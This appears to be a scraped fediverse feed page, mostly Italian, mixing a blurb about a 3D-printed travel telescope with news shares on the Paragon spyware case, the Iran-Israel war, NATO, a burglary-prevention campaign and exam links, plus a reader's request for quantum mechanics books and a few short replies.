Before you fire up the 3D printer, be aware that PLA is not recommended, and, of course, you are going to need some extra parts. There is supposed to be a README with a bill of parts, but we didn’t see it. However, there is a support page in French and a Discord server, so we have no doubt it can be found.
It is possible to steal the optics from another telescope or, of course, buy new. You probably don’t want to grind your own mirrors, although good on you if you do! You can even buy the entire kit if you don’t want to print it and gather all the parts yourself.
The scope is made to be ultra-portable, and it looks like it would be a great travel scope. Let us know if you build one or a derivative.
This telescope looks much different than other builds we’ve seen. If you want to do it all old school, we’ve seen a great guide.
Lo scandalo Paragon si allarga a macchia d’olio (di ricino, secondo Dagospia)
@Giornalismo e disordine informativo
articolo21.org/2025/06/lo-scan…
Forse qualcuno si sveglierà adesso che si è sparsa la notizia di Roberto D’Agostino, con il suo Dagospia, spiato con il sistema Paragon. Lo dico con
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L’amore ai tempi dell’Intelligenza Artificiale
@Giornalismo e disordine informativo
articolo21.org/2025/06/lamore-…
In un’epoca sempre più definita dagli algoritmi e dalla logica dell’utile, l’uscita della raccolta poetica La metrica dell’amore di Sandro Montanari (Pioda Imaging Edizioni, 2025) è un invito a riflettere sull’essenziale umano e su quel
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One event down. Join us on June 21st!
Thanks to everyone who helped map surveillance cameras in Harvard Square. We identified nearly 50 surveillance cameras between JFK Street, Mount Auburn Street, Bow Street and Massachusetts Avenue.
Join us this Saturday, June 21st, at the Boxborough Fifers Day. Tell us if you will help us at the table. It is a wonderful event that celebrates our Revolutionary War history.
#Iran, il dittatore va alla guerra
Iran, il dittatore va alla guerra
Praticamente tutto il mondo è in questi giorni con il fiato sospeso in attesa della decisione del presidente americano Trump se trascinare o meno gli Stati Uniti nella guerra di aggressione di Israele contro l’Iran.www.altrenotizie.org
Verso il summit dell’Aia. La Nato semplifica la macchina interna
@Notizie dall'Italia e dal mondo
In vista del summit che si terrà all’Aia il 24 e 25 giugno, la Nato ha avviato una riorganizzazione interna che prevede la soppressione di alcune divisioni e la riduzione di posizioni nel quartier generale di Bruxelles. L’operazione è parte di un piano di razionalizzazione delle attività
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Sfida ai droni iraniani Shahed. Ecco il nuovo sistema di Mbda
@Notizie dall'Italia e dal mondo
Semplici, economici ed efficaci, i droni della famiglia Shahed sviluppati dai tecnici della Repubblica Islamica dell’Iran sono da anni impiegati in modo estensivo nel conflitto in Ucraina, divenendone addirittura uno dei simboli. L’importanza di questi sistemi per lo sforzo bellico di Mosca è
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Iran: gli Stati Uniti sono pronti ad attaccare
@Notizie dall'Italia e dal mondo
Continuano gli scontri tra Iran e Israele. Netanyahu preme su Washington per partecipare all'aggressione militare ma Trump vuole decidere all'ultimo minuto
L'articolo Iran: gli Stati Uniti sono pronti ad attaccare proviene da Pagine Esteri.
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Carbon Budget in esaurimento veloce...
Da una valutazione recente, il Carbon Budget restante, per poter contenere entro +1,5°C il riscaldamento globale, è di circa 130 miliardi di tonnellate di CO2 e verrebbe, a ritmi attuali, emesso in soli 3 anni.
😢😭 😤😡
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Processo Hydra, Libera è parte civile
@Giornalismo e disordine informativo
articolo21.org/2025/06/process…
Ieri pomeriggio nell’aula bunker del carcere di Opera si è tenuta la terza udienza preliminare del processo Hydra, nato dall’inchiesta realizzata dalla Direzione Distrettuale Antimafia di Milano. L’ipotesi accusatoria ha consentito di ricostruire quello che è un
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Agguato nel Siracusano, Borrometi: c’è ancora senso impunità, le mafie non sono state sconfitte, dobbiamo dirlo
@Giornalismo e disordine informativo
articolo21.org/2025/06/agguato…
“Uccidere in pieno centro città. Sembra folle nel
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Gcap, droni e interoperabilità. L’Italia tra ambizioni autonome e scenari integrati
@Notizie dall'Italia e dal mondo
All’interno del programma Gcap la componente senza pilota resta ancora in una fase fluida, priva di un’integrazione strutturata all’interno della tabella di marcia ufficiale. Lo ha chiarito l’amministratore delegato di Leonardo, Roberto Cingolani, sottolineando come l’Italia stia valutando
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#Maturità2025, sul sito del #MIM sono state pubblicate le tracce della seconda prova scritta.
Le trovate qui ▶️ mim.gov.it/web/guest/-/-maturi…
Ministero dell'Istruzione
#Maturità2025, sul sito del #MIM sono state pubblicate le tracce della seconda prova scritta. Le trovate qui ▶️ https://www.mim.gov.it/web/guest/-/-maturita2025-sul-sito-del-ministero-pubblicate-le-tracce-della-seconda-prova #MIMaturoTelegram
A Torino sono nati i Pirati della Cultura: creiamo una via alternativa e sostenibile alla distribuzione dei libri
quotidianopiemontese.it/2025/0…
Come evitare che la distribuzione si mangi tutto il margine e far risparmiare piccoli editori e lettori Scopri i Pirati della Cultura: libri di qualità dai piccoli editori ai lettori, senza costi di distribuzione e con sconti reali per tutti.
Un libro per l'estate
Vorrei leggere un libro sulla meccanica quantistica per capirci PER DAVVERO qualcosina ma per farlo bisogna che veda qualche equazione perché le spiegazioni qualitative non mi bastano più.
Quindi, mi servirebbe un libro che sia più dettagliato (anche più tecnico) di un libro divulgativo ma allo stesso tempo meno impegnativo di un testo universitario perché mi manca buona parte della matematica necessaria (sono ingegnere quindi arrivo fino ad Analisi II ma poi lì mi fermo).
Avete letto qualcosa che potrebbe fare al caso mio?
Ho visto che nella serie delle lezioni di Fisica di Feynman c'è un volume, il terzo, dedicato alla meccanica quantistica, l'avete letto? Può essere quello giusto?
("QED", di Feynman, l'ho già letto e ha cambiato il mio modo di guardare il mondo quando apro la finestra 😍)
#Fisica #fisicaDelleParticelle #meccanicaquantistica #scienza
Poliversity - Università ricerca e giornalismo reshared this.
Bluesky accoglie, verifica e ospita apertamente i resoconti di importanti politici di estrema destra. Il vicepresidente di Trump, Vance, è ora su Bluesky:
bsky.app/profile/jd-vance-1.bs…
"Diamo il benvenuto al Vicepresidente alla conversazione su Bluesky" (Bluesky nella sua e-mail a Fox News)
Altro 🚩: Bluesky è centralizzata, gestita da una società a scopo di lucro, il suo CEO ha un background nel settore blockchain ed è in parte di proprietà di VC e Blockchain Capital.
Bluesky sta seguendo esattamente la stessa strada del Nazi Bar di Twitter.
Il post di @Fedi.Tips
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Come il wargaming aiuta a decidere in guerra. La visione della Marina Militare
L'articolo proviene da #StartMag e viene ricondiviso sulla comunità Lemmy @Informatica (Italy e non Italy 😁)
"Nelle operazioni militari, la capacità nel prendere decisioni è fondamentale: decidere rapidamente e bene permette di mantenere l’iniziativa e costringere l’avversario a
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Autonomia o irrilevanza. La sfida strategica dell’Europa nella nuova era nucleare secondo Preziosa
@Notizie dall'Italia e dal mondo
Il confronto tra Iran e Israele, sostenuto dalla proiezione tecnologica e strategica americana, non rappresenta solo un conflitto regionale: è il primo banco di prova concreto della nuova era nucleare e multipolare. Tuttavia, l’insegnamento che l’Europa deve trarne va ben
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Cosa funziona per evitare i furti in casa? I consigli della Rete Europea di Prevenzione
L'EUCPN è la Rete Europea per la Prevenzione della Criminalità. La Rete mira a collegare i livelli locale, nazionale ed europeo e a promuovere la conoscenza e le pratiche di prevenzione della criminalità tra gli Stati membri dell' #UE.
Dal 2019, la Rete europea di prevenzione della criminalità (#EUCPN) e diversi paesi europei hanno organizzato il Focus Day dell’UE dedicato ai furti con scasso nelle abitazioni.
La sesta edizione dell'EU Focus Day sui furti in casa si è svolta il 18 giugno 2025.
Con una campagna di prevenzione e iniziative locali, l'EUCPN, diversi paesi europei, Europol e la Commissione europea mirano a intensificare la lotta contro questo reato, informando i cittadini sulla possibilità di proteggere la propria abitazione dai furti.
I reati contro la proprietà, e più specificamente i furti con scasso, colpiscono molti cittadini europei. Fortunatamente, i furti con scasso sono prevenibili e non devono essere costosi! La ricerca dimostra chiaramente l'efficacia di serrature migliorate per porte e finestre o di luci esterne che si accendono quando i sensori rilevano movimento e fulmini interni con timer. Queste misure aumentano il rischio di essere scoperti e/o lo sforzo necessario per entrare in un'abitazione. Queste misure di sicurezza migliorate hanno prevenuto un gran numero di reati e hanno portato a un reale calo della criminalità. La morale per chi si occupa della prevenzione dei reati, tuttavia, non è quella di sedersi e rilassarsi. Al contrario! Molte persone sono ancora vittime di furti con scasso. Ecco perché 22 paesi europei, uniti nell'EUCPN (European Crime Prevention Network) e nell'EMPACT, hanno unito le forze per lanciare questa iniziativa.
La campagna di prevenzione #StopDomesticBurglaries si compone di un poster, un volantino, tre brevi post intranet, uno spot radiofonico e un filmato. Il filmato include iniziative degli Stati membri e ispira i partner nazionali a partecipare a questa iniziativa. L'EUCPN ha anche redatto il documento "Cosa funziona per prevenire i furti in casa?", per supportare gli stakeholder europei, nazionali e locali offrendo una panoramica delle iniziative che potrebbero, o meno, essere efficaci per prevenire i furti in casa. Il documento in italiano è visionabile escaricabile qui eucpn.org/sites/default/files/…
Quest'anno la campagna si è concentrata sull'informare i cittadini che possono proteggere la propria casa dai furti in casa e che non deve essere costoso. L'utilizzo di serrature robuste per porte, illuminazione esterna con sensore, serrature robuste per finestre e illuminazione interna con timer rappresenta la combinazione più efficace per prevenire i furti in casa.
I 22 paesi europei partecipanti nel 2025 sono stati Albania, Belgio, Bulgaria, Repubblica Ceca, Danimarca, Finlandia, Germania, Grecia, Islanda, Irlanda, Italia, Lettonia, Lituania, Lussemburgo, Macedonia, Malta, Polonia, Portogallo, Romania, Spagna, Ucraina e Regno Unito.
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freezonemagazine.com/news/anto…
La Antone’s Records compie 50 anni quest’anno, e per celebrarne la ricorrenza questa pubblicazione appare un po come “l‘ultimo vero album di Texas Blues”. L’album presenta un sorprendente assortimento di artisti che coverizzano, suonano e reinterpretano un catalogo di canzoni classiche del blues. Registrato
Perché xAi di Musk ha bisogno di tanti soldi
L'articolo proviene da #StartMag e viene ricondiviso sulla comunità Lemmy @Informatica (Italy e non Italy 😁)
xAi, la startup di intelligenza artificiale di Elon Musk, sta cercando di raccogliere nuovi finanziamenti per 4,3 miliardi di dollari, in aggiunta a un'operazione sul debito da 5 miliardi. L'azienda spende 1 miliardo al mese, ma le entrate sono ancora
Informatica (Italy e non Italy 😁) reshared this.
Passare a Windows 11 è più semplice con Windows Migration. La fine di Windows 10 è già arrivata
Integrato in Windows Backup, consente di abbandonare l'edizione 10 e trasferire dati e impostazioni. (ZEUS News)ZEUS News
informapirata ⁂ reshared this.
Perché il ceo di Spotify investe sulla startup della difesa tedesca Helsing?
L'articolo proviene da #StartMag e viene ricondiviso sulla comunità Lemmy @Informatica (Italy e non Italy 😁)
La startup tedesca della difesa Helsing ha raccolto 600 milioni di euro nell'ultimo round di investimenti guidatO da Prima materia, la società di investimento di Daniel Ek,
Informatica (Italy e non Italy 😁) reshared this.
#Maturità2025, la chiave ministeriale per aprire il plico telematico della seconda prova scritta, è disponibile sul sito del #MIM.
La trovate qui ▶️ mim.gov.it/web/guest/-/esami-d…
Ministero dell'Istruzione
#Maturità2025, la chiave ministeriale per aprire il plico telematico della seconda prova scritta, è disponibile sul sito del #MIM. La trovate qui ▶️ https://www.mim.gov.it/web/guest/-/esami-di-stato-seconda-prova-scritta #MIMaturoTelegram
#Iran, obiettivo BRICS
Iran, obiettivo BRICS
Donald Trump ha scaricato la consueta dose di minacce, promesse ed avvertenze all’indirizzo dell’Iran e dei suoi amici. Agli ayatollah ha chiesto una “resa incondizionata”, nemmeno fosse immerso in un film di cappa e spade.www.altrenotizie.org
Max su Poliverso 🇪🇺🇮🇹
Unknown parent • •@romitaggio
È uno di quelli che avevo adocchiato...
Dici che vale eh?
Max su Poliverso 🇪🇺🇮🇹
Unknown parent • •@Comandante Virgola
È che io durante la settimana non riesco mai a liberarmi prima delle dieci di sera e a quell'ora anche una tabellina del tre può buttarti tra le braccia di Morfeo 😁
Max su Poliverso 🇪🇺🇮🇹
Unknown parent • •@romitaggio
Preso 😁